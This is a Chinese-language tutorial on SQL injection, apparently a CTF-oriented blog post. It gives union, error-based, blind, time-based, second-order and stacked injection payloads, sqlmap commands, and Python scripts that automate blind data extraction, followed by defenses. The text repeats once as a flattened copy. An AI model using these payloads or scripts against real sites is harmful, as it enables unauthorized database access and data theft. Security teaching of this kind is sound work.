二进制选手的web安全之路(0x0) : sql注入
字数 2138 2025-08-10 12:17:56

SQL注入全面教学文档

一、SQL注入基础概念

SQL注入是一种将恶意SQL代码插入到应用的输入参数中,从而欺骗服务器执行恶意SQL命令的攻击技术。攻击者可以利用此漏洞绕过认证、获取敏感数据、修改数据库内容甚至获取服务器控制权。

二、SQL注入类型与实战

1. 整数型注入

特征:注入参数为整数类型,语句类似 select * from news where id=参数

手动解法步骤

  1. 判断列数:1 order by 11 order by 21 order by 3(直到无回显)
  2. 使用UNION查询数据:-1 union select 1,database()
  3. 查询表名:-1 union select 1,table_name from information_schema.tables where table_schema='sqli'
  4. 查询列名:-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'
  5. 获取数据:-1 union select 1,group_concat(flag) from sqli.flag

sqlmap解法

sqlmap -u "http://example.com/?id=1" --tables
sqlmap -u "http://example.com/?id=1" -D sqli --tables
sqlmap -u "http://example.com/?id=1" -D sqli -T flag --dump

2. 字符型注入

特征:参数为字符串类型,需要闭合引号和注释后续代码

关键点

  • 记得输入'闭合操作
  • 注释后面自带的'--注释需要加空格,#则不用

解法:与整数型注入类似,注意闭合和注释

3. 报错注入

适用场景:无法利用UNION注入但会回显报错信息

手动解法

  • 使用extractvalue()updatexml()函数
  • 1 and (extractvalue(1,concat(0x7e,(select database()),0x7e)))
  • 1 and (extractvalue(1,concat(0x7e,(select flag from flag),0x7e)))

注意extractvalue()函数最长报错32位

4. 布尔盲注

特征:回显只有True和False两种情况

手动解法思路

  1. 判断条件:1 and 1=1 vs 1 and 1=2
  2. 逐字符判断:1 and (substr((select flag from flag),1,1)='c')

Python脚本示例

import requests

url = 'http://example.com/'
success_mark = "query_success"

# 获取数据库名长度
def getLengthofDatabase():
    i = 1
    while True:
        new_url = url + "?id=1 and length(database())={}".format(i)
        r = requests.get(new_url)
        if success_mark in r.text:
            return i
        i += 1

# 获取数据库名
def getDatabase(length_of_database):
    name = ""
    for i in range(length_of_database):
        for j in range(ord('a'), ord('z')+1):
            new_url = url + "?id=1 and substr(database(),{},1)='{}'".format(i+1,chr(j))
            r = requests.get(new_url)
            if success_mark in r.text:
                name += chr(j)
                break
    return name

5. 时间盲注

特征:没有回显结果,通过响应时间判断

手动解法

  • 1 and if(length(database())=4,sleep(3),0)
  • 通过页面响应时间判断(约3秒)

Python脚本示例

import requests
import time

url = "http://example.com/?id="
name = ""

for i in range(1,10):
    for j in range(31,128):
        str_ascii=chr(j)
        payload = "if(substr(database(),%s,1)='%s',sleep(1),1)"%(str(i),str(str_ascii))
        start_time=time.time()
        requests.get(url + payload)
        end_time = time.time()
        if end_time - start_time > 1:
            name += str_ascii
            break
print(name)

三、SQL注入进阶技术

1. 二次注入

原理:已存储的用户输入被读取后再次进入SQL查询导致的注入

利用流程

  1. 注册时将admin'#插入数据库
  2. admin'#登录,执行SELECT * FROM users WHERE username='admin '#' and password='$password'
  3. 可修改admin密码

防御绕过:开发人员对插入数据进行转义和过滤,但写入数据库时还原

2. 无名列注入

适用场景:不知道列名且information_schema被过滤

原理:通过取别名方式查询未知列名

示例

1'/**/union/**/select/**/1,database(),(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),4,5'

关键点

  • 用数字代替未知列名需加反引号`3`
  • 反引号被过滤可用别名代替

3. 堆叠注入

特征:多条SQL语句用";"连接一起执行

利用方法

  • 1';show databases;
  • 1';show tables #
  • 1'; show columns from words#
  • 1'; handler 1919810931114514open asa; handler a read first limit 0,2;#

关键命令

  • handler tablename open as new_tablename;(当前会话内生效)
  • Handler_read_next:索引扫描时从数据文件取数据的次数

四、防御措施

  1. 使用参数化查询(预编译语句)
  2. 对输入进行严格过滤和转义
  3. 最小权限原则,数据库用户只赋予必要权限
  4. 使用Web应用防火墙(WAF)
  5. 定期更新和修补系统

五、工具推荐

  1. sqlmap:自动化SQL注入工具
  2. Burp Suite:用于测试和验证SQL注入
  3. Havij:自动化SQL注入工具(商业)
  4. jSQL Injection:轻量级SQL注入工具

六、实战技巧

  1. 当UNION被过滤时,尝试使用子查询或堆叠注入
  2. 当information_schema被过滤时,使用无名列注入
  3. 注意闭合符号和注释方式的选择
  4. 灵活使用group_concat()limit等函数控制输出
  5. 结合其他漏洞(如XSS、CSRF)进行综合攻击

通过掌握这些SQL注入技术和防御方法,安全研究人员可以更有效地发现和修复漏洞,而开发人员则可以构建更安全的应用程序。

SQL注入全面教学文档 一、SQL注入基础概念 SQL注入是一种将恶意SQL代码插入到应用的输入参数中,从而欺骗服务器执行恶意SQL命令的攻击技术。攻击者可以利用此漏洞绕过认证、获取敏感数据、修改数据库内容甚至获取服务器控制权。 二、SQL注入类型与实战 1. 整数型注入 特征 :注入参数为整数类型,语句类似 select * from news where id=参数 手动解法步骤 : 判断列数: 1 order by 1 → 1 order by 2 → 1 order by 3 (直到无回显) 使用UNION查询数据: -1 union select 1,database() 查询表名: -1 union select 1,table_name from information_schema.tables where table_schema='sqli' 查询列名: -1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag' 获取数据: -1 union select 1,group_concat(flag) from sqli.flag sqlmap解法 : 2. 字符型注入 特征 :参数为字符串类型,需要闭合引号和注释后续代码 关键点 : 记得输入 ' 闭合操作 注释后面自带的 ' , -- 注释需要加空格, # 则不用 解法 :与整数型注入类似,注意闭合和注释 3. 报错注入 适用场景 :无法利用UNION注入但会回显报错信息 手动解法 : 使用 extractvalue() 和 updatexml() 函数 1 and (extractvalue(1,concat(0x7e,(select database()),0x7e))) 1 and (extractvalue(1,concat(0x7e,(select flag from flag),0x7e))) 注意 : extractvalue() 函数最长报错32位 4. 布尔盲注 特征 :回显只有True和False两种情况 手动解法思路 : 判断条件: 1 and 1=1 vs 1 and 1=2 逐字符判断: 1 and (substr((select flag from flag),1,1)='c') Python脚本示例 : 5. 时间盲注 特征 :没有回显结果,通过响应时间判断 手动解法 : 1 and if(length(database())=4,sleep(3),0) 通过页面响应时间判断(约3秒) Python脚本示例 : 三、SQL注入进阶技术 1. 二次注入 原理 :已存储的用户输入被读取后再次进入SQL查询导致的注入 利用流程 : 注册时将 admin'# 插入数据库 以 admin'# 登录,执行 SELECT * FROM users WHERE username='admin '#' and password='$password' 可修改admin密码 防御绕过 :开发人员对插入数据进行转义和过滤,但写入数据库时还原 2. 无名列注入 适用场景 :不知道列名且information_ schema被过滤 原理 :通过取别名方式查询未知列名 示例 : 关键点 : 用数字代替未知列名需加反引号 `3` 反引号被过滤可用别名代替 3. 堆叠注入 特征 :多条SQL语句用";"连接一起执行 利用方法 : 1';show databases; 1';show tables # 1'; show columns from words # 1'; handler 1919810931114514 open as a ; handler a read first limit 0,2;# 关键命令 : handler tablename open as new_tablename; (当前会话内生效) Handler_read_next :索引扫描时从数据文件取数据的次数 四、防御措施 使用参数化查询(预编译语句) 对输入进行严格过滤和转义 最小权限原则,数据库用户只赋予必要权限 使用Web应用防火墙(WAF) 定期更新和修补系统 五、工具推荐 sqlmap:自动化SQL注入工具 Burp Suite:用于测试和验证SQL注入 Havij:自动化SQL注入工具(商业) jSQL Injection:轻量级SQL注入工具 六、实战技巧 当UNION被过滤时,尝试使用子查询或堆叠注入 当information_ schema被过滤时,使用无名列注入 注意闭合符号和注释方式的选择 灵活使用 group_concat() 、 limit 等函数控制输出 结合其他漏洞(如XSS、CSRF)进行综合攻击 通过掌握这些SQL注入技术和防御方法,安全研究人员可以更有效地发现和修复漏洞,而开发人员则可以构建更安全的应用程序。